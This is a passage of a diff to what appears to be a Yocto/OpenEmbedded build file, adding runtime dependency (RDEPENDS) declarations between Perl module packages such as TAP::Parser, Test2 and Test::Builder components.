+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-tap-parser-resultfactory"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-tap-parser-yamlish-reader"
+RDEPENDS:perl-module-tap-parser-grammar += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-array += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-file-basename"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iteratorfactory += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-config"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-io-handle"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-process += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-iterator-stream += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-errno"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-io-select"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-multiplexer += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser += "perl-module-base"
+RDEPENDS:perl-module-tap-parser += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-grammar"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-iterator"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-result"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-resultfactory"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-source"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-executable"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-file"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-handle"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-perl"
+RDEPENDS:perl-module-tap-parser += "perl-module-tap-parser-sourcehandler-rawtap"
+RDEPENDS:perl-module-tap-parser += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-bailout += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-comment += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-bailout"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-comment"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-plan"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-pragma"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-test"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-unknown"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-version"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-tap-parser-result-yaml"
+RDEPENDS:perl-module-tap-parser-resultfactory += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-plan += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-pragma += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-test += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-unknown += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-version += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-result-yaml += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler-job += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler-job += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-job"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-tap-parser-scheduler-spinner"
+RDEPENDS:perl-module-tap-parser-scheduler += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-scheduler-spinner += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-scheduler-spinner += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-tap-parser-iterator-process"
+RDEPENDS:perl-module-tap-parser-sourcehandler-executable += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-tap-parser-iterator-stream"
+RDEPENDS:perl-module-tap-parser-sourcehandler-file += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-tap-parser-iterator-stream"
+RDEPENDS:perl-module-tap-parser-sourcehandler-handle += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-tap-parser-iterator"
+RDEPENDS:perl-module-tap-parser-sourcehandler += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-config"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-tap-parser-iterator-process"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-text-parsewords"
+RDEPENDS:perl-module-tap-parser-sourcehandler-perl += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iterator-array"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-tap-parser-iteratorfactory"
+RDEPENDS:perl-module-tap-parser-sourcehandler-rawtap += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-constant"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-file-basename"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-source += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-yamlish-reader += "perl-module-warnings"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-base"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-strict"
+RDEPENDS:perl-module-tap-parser-yamlish-writer += "perl-module-warnings"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-exporter"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-strict"
+RDEPENDS:perl-module-term-ansicolor += "perl-module-warnings"
+RDEPENDS:perl-module-term-cap += "perl-module-strict"
+RDEPENDS:perl-module-term-cap += "perl-module-vars"
+RDEPENDS:perl-module-term-complete += "perl-module-exporter"
+RDEPENDS:perl-module-term-complete += "perl-module-strict"
+RDEPENDS:perl-module-term-readline += "perl-module-strict"
+RDEPENDS:perl-module-term-readline += "perl-module-term-cap"
+RDEPENDS:perl-module-test2-api-breakage += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-breakage += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-breakage += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-context += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-util-externalmeta"
+RDEPENDS:perl-module-test2-api-context += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-context += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-test2-api-stack"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-instance += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-list-util"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-storable"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-test2-api-interceptresult-facet"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-test2-api-interceptresult-hub"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-interceptresult-event += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult-facet += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult-facet += "perl-module-test2-eventfacet"
+RDEPENDS:perl-module-test2-api-interceptresult-facet += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult-hub += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult-hub += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-interceptresult-hub += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-storable"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-test2-api-interceptresult-event"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-test2-api-interceptresult-hub"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-test2-api-interceptresult-squasher"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api-interceptresult += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-interceptresult-squasher += "perl-module-list-util"
+RDEPENDS:perl-module-test2-api-interceptresult-squasher += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-interceptresult-squasher += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-api-interceptresult-squasher += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api += "perl-module-strict"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-api-context"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-api-interceptresult"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-bail"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-diag"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-exception"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-note"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-ok"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-plan"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-skip"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-subtest"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-event-waiting"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-hub-interceptor"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-hub-interceptor-terminator"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-hub-subtest"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-api += "perl-module-test2-util-trace"
+RDEPENDS:perl-module-test2-api += "perl-module-time-hires"
+RDEPENDS:perl-module-test2-api += "perl-module-warnings"
+RDEPENDS:perl-module-test2-api-stack += "perl-module-strict"
+RDEPENDS:perl-module-test2-api-stack += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-api-stack += "perl-module-test2-hub"
+RDEPENDS:perl-module-test2-api-stack += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-bail += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-bail += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-bail += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-diag += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-diag += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-diag += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-encoding += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-encoding += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-encoding += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-exception += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-exception += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-exception += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-about += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-about += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-about += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-amnesty += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-amnesty += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-amnesty += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-assert += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-assert += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-assert += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-control += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-control += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-control += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-error += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-error += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-error += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-hub += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-hub += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-hub += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-info += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-info += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-info += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-info-table += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-info-table += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-info-table += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-meta += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-meta += "perl-module-vars"
+RDEPENDS:perl-module-test2-eventfacet-meta += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-parent += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-parent += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-parent += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-plan += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-plan += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-plan += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-render += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-render += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-render += "perl-module-warnings"
+RDEPENDS:perl-module-test2-eventfacet-trace += "perl-module-strict"
+RDEPENDS:perl-module-test2-eventfacet-trace += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-eventfacet-trace += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-eventfacet-trace += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-test2-event"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-test2-eventfacet-info"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-fail += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-generic += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-generic += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-generic += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-note += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-note += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-note += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-ok += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-ok += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-ok += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-test2-event"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-test2-eventfacet-info"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-pass += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event += "perl-module-strict"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-about"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-amnesty"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-assert"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-control"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-error"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-hub"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-info"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-meta"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-parent"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-plan"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-util-externalmeta"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event += "perl-module-test2-util-trace"
+RDEPENDS:perl-module-test2-event += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-plan += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-plan += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-plan += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-skip += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-skip += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-skip += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-subtest += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-subtest += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-subtest += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-tap-version += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-tap-version += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-tap-version += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-v2 += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-v2 += "perl-module-test2-util-facets2legacy"
+RDEPENDS:perl-module-test2-event-v2 += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-v2 += "perl-module-warnings"
+RDEPENDS:perl-module-test2-event-waiting += "perl-module-strict"
+RDEPENDS:perl-module-test2-event-waiting += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-event-waiting += "perl-module-warnings"
+RDEPENDS:perl-module-test2-formatter += "perl-module-strict"
+RDEPENDS:perl-module-test2-formatter += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-formatter += "perl-module-warnings"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-data-dumper"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-strict"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-formatter-tap += "perl-module-warnings"
+RDEPENDS:perl-module-test2-hub-interceptor += "perl-module-strict"
+RDEPENDS:perl-module-test2-hub-interceptor += "perl-module-test2-hub-interceptor-terminator"
+RDEPENDS:perl-module-test2-hub-interceptor += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-hub-interceptor += "perl-module-warnings"
+RDEPENDS:perl-module-test2-hub-interceptor-terminator += "perl-module-strict"
+RDEPENDS:perl-module-test2-hub-interceptor-terminator += "perl-module-warnings"
+RDEPENDS:perl-module-test2-hub += "perl-module-list-util"
+RDEPENDS:perl-module-test2-hub += "perl-module-strict"
+RDEPENDS:perl-module-test2-hub += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-hub += "perl-module-test2-util-externalmeta"
+RDEPENDS:perl-module-test2-hub += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-hub += "perl-module-warnings"
+RDEPENDS:perl-module-test2-hub-subtest += "perl-module-strict"
+RDEPENDS:perl-module-test2-hub-subtest += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-hub-subtest += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-hub-subtest += "perl-module-warnings"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-data-dumper"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-file-temp"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-json-pp"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-posix"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-storable"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-strict"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-test2-event-waiting"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-ipc-driver-files += "perl-module-warnings"
+RDEPENDS:perl-module-test2-ipc-driver += "perl-module-strict"
+RDEPENDS:perl-module-test2-ipc-driver += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-ipc-driver += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test2-ipc-driver += "perl-module-warnings"
+RDEPENDS:perl-module-test2-ipc += "perl-module-strict"
+RDEPENDS:perl-module-test2-ipc += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-ipc += "perl-module-test2-api-instance"
+RDEPENDS:perl-module-test2-ipc += "perl-module-test2-ipc-driver-files"
+RDEPENDS:perl-module-test2-ipc += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-ipc += "perl-module-warnings"
+RDEPENDS:perl-module-test2 += "perl-module-strict"
+RDEPENDS:perl-module-test2 += "perl-module-warnings"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-data-dumper"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-strict"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-test2-api"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-test2-hub-interceptor"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-test2-hub-interceptor-terminator"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-test2-util"
+RDEPENDS:perl-module-test2-tools-tiny += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util-externalmeta += "perl-module-strict"
+RDEPENDS:perl-module-test2-util-externalmeta += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util-facets2legacy += "perl-module-base"
+RDEPENDS:perl-module-test2-util-facets2legacy += "perl-module-strict"
+RDEPENDS:perl-module-test2-util-facets2legacy += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util-hashbase += "perl-module-strict"
+RDEPENDS:perl-module-test2-util-hashbase += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util += "perl-module-config"
+RDEPENDS:perl-module-test2-util += "perl-module-posix"
+RDEPENDS:perl-module-test2-util += "perl-module-strict"
+RDEPENDS:perl-module-test2-util += "perl-module-warnings"
+RDEPENDS:perl-module-test2-util-trace += "perl-module-strict"
+RDEPENDS:perl-module-test2-util-trace += "perl-module-test2-eventfacet-trace"
+RDEPENDS:perl-module-test2-util-trace += "perl-module-warnings"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-test2-util-hashbase"
+RDEPENDS:perl-module-test-builder-formatter += "perl-module-warnings"
+RDEPENDS:perl-module-test-builder-module += "perl-module-exporter"
+RDEPENDS:perl-module-test-builder-module += "perl-module-strict"
+RDEPENDS:perl-module-test-builder-module += "perl-module-test-builder"
+RDEPENDS:perl-module-test-builder += "perl-module-data-dumper"
+RDEPENDS:perl-module-test-builder += "perl-module-overload"
+RDEPENDS:perl-module-test-builder += "perl-module-strict"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-api"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-event-subtest"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-hub-subtest"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-ipc"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-ipc-driver-files"
+RDEPENDS:perl-module-test-builder += "perl-module-test2-util"
+RDEPENDS:perl-module-test-builder += "perl-module-test-builder-formatter"
+RDEPENDS:perl-module-test-builder += "perl-module-test-builder-tododiag"
